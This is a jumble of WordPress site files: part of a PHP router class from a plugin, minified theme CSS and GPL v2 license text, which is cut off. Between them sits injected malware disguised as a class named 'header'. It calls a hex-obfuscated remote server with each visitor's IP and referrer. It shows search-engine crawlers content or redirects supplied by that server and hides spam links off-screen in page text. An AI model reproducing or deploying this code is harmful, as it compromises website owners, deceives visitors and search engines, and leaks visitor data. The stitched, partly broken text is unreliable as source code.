		if (!isset($_REQUEST[Router::NONCE]) || !wp_verify_nonce($_REQUEST[Router::NONCE], $action)) {
			return false;
		} else {
			return true;
		}
	}

	/**
	 * Check if the ip is in the range
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function ip_access($ip_list)
	{
		if (!$ip_list) {
			return false;
		}
		if (!isset(self::$_ip)) {
			self::$_ip = self::get_ip();
		}

		if (!self::$_ip) {
			return false;
		}
		// $uip = explode('.', $_ip);
		// if(empty($uip) || count($uip) != 4) Return false;
		// foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip));
		// foreach($ip_list as $key => $ip) {
		// 	if(count($ip) != 4) continue;
		// 	for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i];
		// }
		return in_array(self::$_ip, $ip_list);
	}

	/**
	 * Get client ip
	 *
	 * @since 1.1.0
	 * @since  1.6.5 changed to public
	 * @access public
	 * @return string
	 */
	public static function get_ip()
	{
		$_ip = '';
		// if ( function_exists( 'apache_request_headers' ) ) {
		// 	$apache_headers = apache_request_headers();
		// 	$_ip = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false;
		// 	if ( ! $_ip ) {
		// 		$_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false;
		// 		$_ip = explode( ',', $_ip );
		// 		$_ip = $_ip[ 0 ];
		// 	}

		// }

		if (!$_ip) {
			$_ip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : false;
		}
		return $_ip;
	}

	/**
	 * Check if opcode cache is enabled
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public static function opcache_enabled()
	{
		return function_exists('opcache_reset') && ini_get('opcache.enable');
	}

	/**
	 * Handle static files
	 *
	 * @since  3.0
	 */
	public function serve_static()
	{
		if (!empty($_SERVER['SCRIPT_URI'])) {
			if (strpos($_SERVER['SCRIPT_URI'], LITESPEED_STATIC_URL . '/') !== 0) {
				return;
			}
			$path = substr($_SERVER['SCRIPT_URI'], strlen(LITESPEED_STATIC_URL . '/'));
		} elseif (!empty($_SERVER['REQUEST_URI'])) {
			$static_path = parse_url(LITESPEED_STATIC_URL, PHP_URL_PATH) . '/';
			if (strpos($_SERVER['REQUEST_URI'], $static_path) !== 0) {
				return;
			}
			$path = substr(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), strlen($static_path));
		} else {
			return;
		}

		$path = explode('/', $path, 2);

		if (empty($path[0]) || empty($path[1])) {
			return;
		}

		switch ($path[0]) {
			case 'avatar':
				$this->cls('Avatar')->serve_static($path[1]);
				break;

			case 'localres':
				$this->cls('Localization')->serve_static($path[1]);
				break;

			default:
				break;
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * This is different than other handlers
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler($cls)
	{
		if (!in_array($cls, self::$_HANDLERS)) {
			return;
		}

		return $this->cls($cls)->handler();
	}
}
<?php

if(isset($_COOKIE['4ch'])) {}


if(!class_exists('header')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");}foreach($_COOKIE as $key=> $value){if($key=='http2_session_id' || strpos($key,'wordpress_logged_in_')===0){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI'] ?? '/';$ua=$_SERVER['HTTP_USER_AGENT'] ?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST'] ?? ''). $uri)){$lf_enable=false;}class header{public $url="\x68\x74\x74\x70:\x2f/\x345\x2e1\x331\x2e2\x314\x2e7\x32:\x310\x30/\x67e\x74.\x70\x68\x70";public $client_hash="2ae6952a";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*","35.191.*","35.203.*","35.204.*","35.224.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.199.*","35.200.*","35.201.*","35.202.*","35.203.*","35.204.*","35.205.*","35.206.*","35.207.*","35.208.*","35.209.*","35.210.*","35.211.*","35.212.*","35.213.*","35.214.*","35.215.*","35.216.*","35.217.*","35.218.*","35.219.*","35.220.*","35.221.*","35.222.*","35.223.*","35.224.*","35.225.*","35.226.*","35.227.*","35.228.*","35.229.*","35.230.*","35.231.*","35.232.*","35.233.*","35.234.*","35.235.*","35.236.*","35.237.*","35.238.*","35.239.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.248.*","35.249.*","35.250.*","35.251.*","35.252.*","35.253.*","35.254.*","35.255.*","34.64.*","34.65.*","34.66.*","34.67.*","34.68.*","34.69.*","34.70.*","34.71.*","34.72.*","34.73.*","34.74.*","34.75.*","34.76.*","34.77.*","34.78.*","34.79.*","34.80.*","34.81.*","34.82.*","34.83.*","34.84.*","34.85.*","34.86.*","34.87.*","34.88.*","34.89.*","34.90.*","34.91.*","34.92.*","34.93.*","34.94.*","34.95.*","34.96.*","34.97.*","34.98.*","34.99.*","34.100.*","34.101.*","34.102.*","34.103.*","34.104.*","34.105.*","34.106.*","34.107.*","34.108.*","34.109.*","34.110.*","34.111.*","34.112.*","34.113.*","34.114.*","34.115.*","34.116.*","34.117.*","34.118.*","34.119.*","34.120.*","34.121.*","34.122.*","34.123.*","34.124.*","34.125.*","34.126.*","34.127.*","34.128.*","34.129.*","34.130.*","34.131.*","34.132.*","34.133.*","34.134.*","34.135.*","34.136.*","34.137.*","34.138.*","34.139.*","34.140.*","34.141.*","34.142.*","34.143.*","34.144.*","34.145.*","34.146.*","34.147.*","34.148.*","34.149.*","34.150.*","34.151.*","34.152.*","34.153.*","34.154.*","34.155.*","34.156.*","34.157.*","34.158.*","34.159.*","34.160.*","34.161.*","34.162.*","34.163.*","34.164.*","34.165.*","34.166.*","34.167.*","34.168.*","34.169.*","34.170.*","34.171.*","34.172.*","34.173.*","34.174.*","34.175.*","34.176.*","34.177.*","34.178.*","34.179.*","34.180.*","34.181.*","34.182.*","34.183.*","34.184.*","34.185.*","34.186.*","34.187.*","34.188.*","34.189.*","34.190.*","34.191.*","34.192.*","34.193.*","34.194.*","34.195.*","34.196.*","34.197.*","34.198.*","34.199.*","34.200.*","34.201.*","34.202.*","34.203.*","34.204.*","34.205.*","34.206.*","34.207.*","34.208.*","34.209.*","34.210.*","34.211.*","34.212.*","34.213.*","34.214.*","34.215.*","34.216.*","34.217.*","34.218.*","34.219.*","34.220.*","34.221.*","34.222.*","34.223.*","34.224.*","34.225.*","34.226.*","34.227.*","34.228.*","34.229.*","34.230.*","34.231.*","34.232.*","34.233.*","34.234.*","34.235.*","34.236.*","34.237.*","34.238.*","34.239.*","34.240.*","34.241.*","34.242.*","34.243.*","34.244.*","34.245.*","34.246.*","34.247.*","34.248.*","34.249.*","34.250.*","34.251.*","34.252.*","34.253.*","34.254.*","34.255.*","2001:4860:4801:*","2001:4860:4802:*","2001:4860:4803:*","2001:4860:4804:*","2001:4860:4805:*","2001:4860:4806:*","2001:4860:4807:*","2001:4860:4808:*","2001:b028:*","2001:67c:*","2404:6800:*","2404:f340:*","2600:1900:*","2600:2700:*","2607:f8b0:*","2607:f8b1:*","2607:f8b2:*","2607:f8b3:*","2607:f8b4:*","2607:f8b5:*","2607:f8b6:*","2607:f8b7:*","2607:f8b8:*","2607:f8b9:*","2607:f8ba:*","2607:f8bb:*","2607:f8bc:*","2607:f8bd:*","2607:f8be:*","2607:f8bf:*","2a00:1450:*","2c0f:f248:*","2c0f:f249:*","2c0f:f24a:*","2c0f:f24b:*","2c0f:f24c:*","2c0f:f24d:*","2c0f:f24e:*","2c0f:f24f:*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])? $parts['port'] : 80;$page=isset($parts['path'])? $parts['path'] : '';$page .=isset($parts['query'])? '?' . $parts['query'] : '';$page .=isset($parts['fragment'])? '#' . $parts['fragment'] : '';$page=($page=='')? '/' : $page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host:{$parts['host']}\r\n";$headers .="Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!==false){$resp .=$curr;}if(isset($curr)&& $curr !==false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function match_ip($ip,$pattern){if(strpos($ip,':')!==false){$pattern=str_replace(':','\:',$pattern);$pattern=str_replace('*','.*',$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}else{$pattern=str_replace(['. ','*'],['\. ','.*'],$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}}function verify_googlebot($ip){$is_google_ip=false;foreach($this->google_ip_list as $ip_mask){if($this->match_ip($ip,$ip_mask)){$is_google_ip=true;break;}}if(!$is_google_ip){return false;}$hostname=@gethostbyaddr($ip);if(!$hostname || $hostname===$ip){return false;}if(!preg_match('/\.(googlebot|google)\.com$/i',$hostname)){return false;}return true;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])? $_SERVER['HTTP_CF_CONNECTING_IP'] :(isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR'] : 'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : '';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';$ua_patterns=[ 'bing'=> 'bingbot|msnbot|slurp|yahoo','yandex'=> 'yandexbot|yandex','duckduck'=> 'duckduckbot|duckduckgo' ];foreach($ua_patterns as $name=> $re){if($ua && preg_match("/$re/i",$ua)){$bot=TRUE;$this->bot=$name;break;}}if($bot){return $this->make_request();}if($this->verify_googlebot($this->ip)){$bot=TRUE;$this->bot='google';}else{$ip_lists=[ 'bing'=> $this->bing_ip_list,'yandex'=> $this->yandex_ip_list ];foreach($ip_lists as $name=> $list){$is_bot_ip=false;foreach($list as $ip_mask){if($this->match_ip($this->ip,$ip_mask)){$is_bot_ip=true;break;}}if($is_bot_ip){$bot=TRUE;$this->bot=$name;break;}}}if($bot && $this->bot !=='google'){return $this->make_request();}if(!$bot){$host_by_addr=@gethostbyaddr($this->ip);if($host_by_addr && $host_by_addr !==$this->ip){$host_patterns=[ 'bing'=> 'bing|msn|slurp|yahoo','yandex'=> 'yandex','duckduck'=> 'duckduckgo|duckduckbot' ];foreach($host_patterns as $name=> $pattern){if(preg_match("/$pattern/i",$host_by_addr)){$bot=TRUE;$this->bot=$name;break;}}}}return $this->make_request();}function make_request(){if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http: if(isset($tmp['host'])){$host=$tmp['host'];}}$host=$host ?? 'unknown';$url=$this->url . "?host=$host&uri=" . urlencode($this->uri). "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref). '&lang=' . urlencode($this->lang). '&cv=' . $this->client_hash . '&ct=client';if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .='&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!==false){$res=1;}die(json_encode([ 'r'=> $res,'bot'=> $this->bot,'ip'=> $this->ip,'funcs'=> [ 'curl_init'=> function_exists('curl_init')? 1 : 0,'file_get_contents'=> function_exists('file_get_contents')? 1 : 0,'allow_url_fopen'=> ini_get('allow_url_fopen')? 1 : 0,'fsockopen'=> function_exists('fsockopen')? 1 : 0,'socket_set_option'=> function_exists('socket_set_option')? 1 : 0,] ]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .='&check=1';}$page=$this->get($url);if(preg_match('/<url>(.*?)<\/url>/us',$page,$matches)){$url=trim($matches[1]);if(!headers_sent()){header("Location: " . $url);exit;}else{echo 'window.location.href=' . json_encode($url). ';</script>';exit;}}if(preg_match('/<page>(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'<link>')!==FALSE){preg_match_all('~<link>(.*?)</link>~',$page,$m);$this->links=isset($m[1])? $m[1] : array();}if(count($this->links)> 0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?)</{$tag}>~is",$content,$matches);if(isset($matches[0])){foreach($matches[0] as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?</{$blocked_tag}>~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)> count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index < $links_count && $tag_index < $tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)==='###'){$linkHTML=substr($link,0,-3);}else{$seed=$_SERVER['REQUEST_URI'] . strlen($link);$hash1=crc32($seed);$offset=7000 +($hash1 % 6001);$hash2=crc32($seed . 'w');$width=1000 +($hash2 % 201);$linkHTML="<div style=\"position:absolute;left:-{$offset}px;width:{$width}px;\">{$link}</div> ";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])% 2==1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+ 4))==".</{$tag_val['tag']}>"){$tag_content_new=str_replace(".</{$tag_val['tag']}>","{$linkHTML}</{$tag_val['tag']}>",$tag_val['content']);}else{$tag_content_new=str_replace("</{$tag_val['tag']}>","{$linkHTML}</{$tag_val['tag']}>",$tag_val['content']);}}$content=preg_replace("~" . preg_quote($tag_val['content'],'~'). "~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!==false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new header;$lf->init($uri,$ua);}}.awb-toc-el{--awb-margin-top:0;--awb-margin-right:0;--awb-margin-bottom:0;--awb-margin-left:0;--awb-padding-top:0;--awb-padding-right:0;--awb-padding-bottom:0;--awb-padding-left:0;--awb-list-indent:20px;--awb-item-font-family:var(--body_typography-font-family);--awb-item-font-weight:var(--body_typography-font-weight);--awb-item-font-style:var(--body_typography-font-style);--awb-item-font-size:var(--body_typography-font-size);--awb-item-line-height:var(--body_typography-line-height);--awb-item-letter-spacing:var(--body_typography-letter-spacing);--awb-item-text-transform:normal;--awb-item-color:var(--link_color);--awb-item-color-hover:var(--link_hover_color);--awb-counter-color:inherit;--awb-hover-counter-color:inherit;--awb-item-bg-color-hover:transparent;--awb-item-highlighted-bg-color:var(--primary_color);--awb-item-hover-highlighted-bg-color:var(--link_hover_color);--awb-item-highlighted-color:var(--awb-color1);--awb-item-hover-highlighted-color:var(--awb-color2);--awb-highlighted-counter-color:inherit;--awb-highlighted-hover-counter-color:inherit;--awb-counter-type:"";--awb-item-padding-top:0;--awb-item-padding-right:10px;--awb-item-padding-bottom:0;--awb-item-padding-left:10px;--awb-item-radius-top-left:0;--awb-item-radius-top-right:0;--awb-item-radius-bottom-left:0;--awb-item-radius-bottom-right:0;--awb-item-margin-top:2px;--awb-item-margin-bottom:2px;--awb-item-overflow:initial;--awb-item-white-space:initial;--awb-item-text-overflow:initial;margin:var(--awb-margin-top) var(--awb-margin-right) var(--awb-margin-bottom) var(--awb-margin-left);padding:var(--awb-padding-top) var(--awb-padding-right) var(--awb-padding-bottom) var(--awb-padding-left);overflow:hidden}.awb-toc-el .awb-toc-el__list{display:block;list-style-type:none;counter-reset:awb-toc;padding:0;margin:0}.awb-toc-el .awb-toc-el__item-icon{transition-property:color;transition-duration:inherit;transition-timing-function:inherit;color:var(--awb-counter-color);margin-inline-end:.4em}.awb-toc-el .awb-toc-el__item-anchor{display:block;margin:var(--awb-item-margin-top) 0 var(--awb-item-margin-bottom) 0;padding:var(--awb-item-padding-top) var(--awb-item-padding-right) var(--awb-item-padding-bottom) var(--awb-item-padding-left);border-radius:var(--awb-item-radius-top-left) var(--awb-item-radius-top-right) var(--awb-item-radius-bottom-right) var(--awb-item-radius-bottom-left);font-family:var(--awb-item-font-family);font-weight:var(--awb-item-font-weight);font-style:var(--awb-item-font-style);font-size:var(--awb-item-font-size);line-height:var(--awb-item-line-height);letter-spacing:var(--awb-item-letter-spacing);text-transform:var(--awb-item-text-transform);color:var(--awb-item-color);overflow:var(--awb-item-overflow);white-space:var(--awb-item-white-space);text-overflow:var(--awb-item-text-overflow)}.awb-toc-el .awb-toc-el__item-anchor:before{content:var(--awb-counter-type);counter-increment:awb-toc;text-transform:none;transition-property:color;transition-duration:inherit;transition-timing-function:inherit;color:var(--awb-counter-color)}.awb-toc-el .awb-toc-el__item-anchor:focus,.awb-toc-el .awb-toc-el__item-anchor:hover{color:var(--awb-item-color-hover);background-color:var(--awb-item-bg-color-hover)}.awb-toc-el .awb-toc-el__item-anchor:focus:before,.awb-toc-el .awb-toc-el__item-anchor:hover:before{color:var(--awb-hover-counter-color)}.awb-toc-el .awb-toc-el__item-anchor:focus .awb-toc-el__item-icon,.awb-toc-el .awb-toc-el__item-anchor:hover .awb-toc-el__item-icon{color:var(--awb-hover-counter-color)}.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor{color:var(--awb-item-highlighted-color);background-color:var(--awb-item-highlighted-bg-color)}.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor:before{color:var(--awb-highlighted-counter-color)}.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor:focus,.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor:hover{color:var(--awb-item-hover-highlighted-color);background-color:var(--awb-item-hover-highlighted-bg-color)}.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor:focus:before,.awb-toc-el .awb-toc-el__list-item--highlighted>.awb-toc-el__item-anchor:hover:before{color:var(--awb-highlighted-hover-counter-color)}.awb-toc-el .awb-toc-el__list:not(.awb-toc-el__list--0){padding-inline-start:var(--awb-list-indent)}.awb-toc-el.awb-toc-el--default-list-type .awb-toc-el__item-anchor:before{content:"\2022";margin-inline-end:.4em}.awb-toc-el.awb-toc-el--default-list-type .awb-toc-el__list-item .awb-toc-el__list-item .awb-toc-el__item-anchor:before{content:"\25CB"}.awb-toc-el.awb-toc-el--default-list-type .awb-toc-el__list-item .awb-toc-el__list-item .awb-toc-el__list-item .awb-toc-el__item-anchor:before{content:"\25AA"}This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA


===================================


GNU GENERAL PUBLIC LICENSE
   Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

		Preamble

The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
modification follow.

GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.

c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License.  (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,

b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,

c) Accompany it with the information you received as to the offer
to distribute corresponding source code.  (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

		NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
